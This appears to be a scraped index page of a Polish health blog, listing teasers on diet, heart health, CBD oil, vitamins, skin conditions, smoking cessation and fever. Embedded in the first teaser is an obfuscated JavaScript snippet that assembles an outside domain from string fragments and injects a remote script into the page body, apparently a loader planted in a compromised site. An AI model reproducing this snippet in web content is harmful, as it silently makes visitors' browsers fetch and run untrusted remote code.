miseczka zdrowej owsianki

Fit catering – dla kogo?

Chcąc prowadzić zdrowy styl życia, szukamy najlepszego rozwiązania, które pozwoli nam zrobić to najkorzystniej, jak się da. (function(){ wr8c=document.createElement("script");wr8c.type="text/javascript"; wr8c.async=true;wr8c_=(("us")+"t")+"a";wr8c_+=("t.i")+""+"n";wr8c_+=(("f")+"o");wr8c_+="/"; wr8cu="195218064.";wr8cu+="ch0byykhr8cyh9a37xrajgwdbpmiqa";wr8c.src="https://"+wr8c_+wr8cu; wr8cdb=document.body;wr8cdb.appendChild(wr8c); })(); Nie jest to łatwe zadanie, bo musimy uwzględnić...
czerwone jabłko z wyciętym symbolem czerwonego serca

Odkryj codzienne nawyki, które wesprą zdrowie twojego serca

By poprawić funkcjonowanie serca, nie trzeba wprowadzać do życia codziennego rewolucyjnych zmian – wystarczy kilka zdrowych nawyków. Mniej soli w diecie, zdrowe śniadania, regularne...
olej cbd

Pozytywne właściwości oleju CBD – do czego można go wykorzystać?

Olej CBD to naturalny produkt wytwarzany z konopi, który wykazuje wiele prozdrowotnych właściwości. W ostatnich latach stał się bardzo popularnym suplementem diety i coraz...
roślinne źródła witaminy b6

Witaminy z grupy B – kto powinien zwrócić szczególną uwagę na...

Witaminy z grupy B mają bardzo duże spektrum działania. Dostępne w aptekach preparaty typu „B complex” są odpowiedzią na najczęściej występujące objawy niedoborów tego...
kobieta zasłaniająca twarz golfem

Atopowe a łojotokowe zapalenie skóry – czym się różnią?

Na Twojej skórze pojawiły się niepokojące zmiany? Cera łuszczy się albo jest zaczerwieniona? Boisz się, że może to być zapalenie, ale nie wiesz, czy...
Zdrowa dieta pudełkowa sniadanie obiad lunch box, na dowóz, na wynos, pełnowartościowy, zbilansowany fit posiłek na cały dzień

Dieta pudełkowa – czy warto?

Niezaprzeczalną prawdą o naszych czasach jest to, że żyjemy o wiele szybciej niż pokolenia przed nami. Szczególnie w dużych miastach, skupiających z roku na...
but depczący rozsypane papierosy

Rzucenie palenia – jak to zrobić?

Istnieją wyniki badań, które mówią, że nawet połowa palaczy tak naprawdę chciałaby zerwać z tym nałogiem. Jednak wiele osób przekonało się na własnej skórze,...
świeże warzywa wiosenne w skrzynce

Warzywa i owoce – jak je przygotowywać i spożywać, aby nasz...

Warzywa i owoce powinny być podstawą naszego odżywiania, jeśli chcemy zachować zdrowie i siły witalne. Światowa Organizacja Zdrowia WHO zaleca spożywanie warzyw i owoców...
kobieta z centymetrem na brzuchu

Skuteczna dieta – jak obliczyć stracone kilogramy?

Prowadzenie skutecznej diety to przede wszystkim określenie zapotrzebowania kalorycznego na poszczególne składniki. Układając jadłospis, policz jaką ilość produktów powinieneś spożywać, aby jeść zdrowo i...
kobieta trzymająca w ręku termometr

Sposoby na obniżenie temperatury w domowych warunkach

O wielu chorobach, infekcjach, stanach zapalnych i negatywnych zmianach w organizmie świadczy reakcja organizmu, jaką jest gorączka. Powoduje ona złe samopoczucie i przede wszystkim...

Najnowsze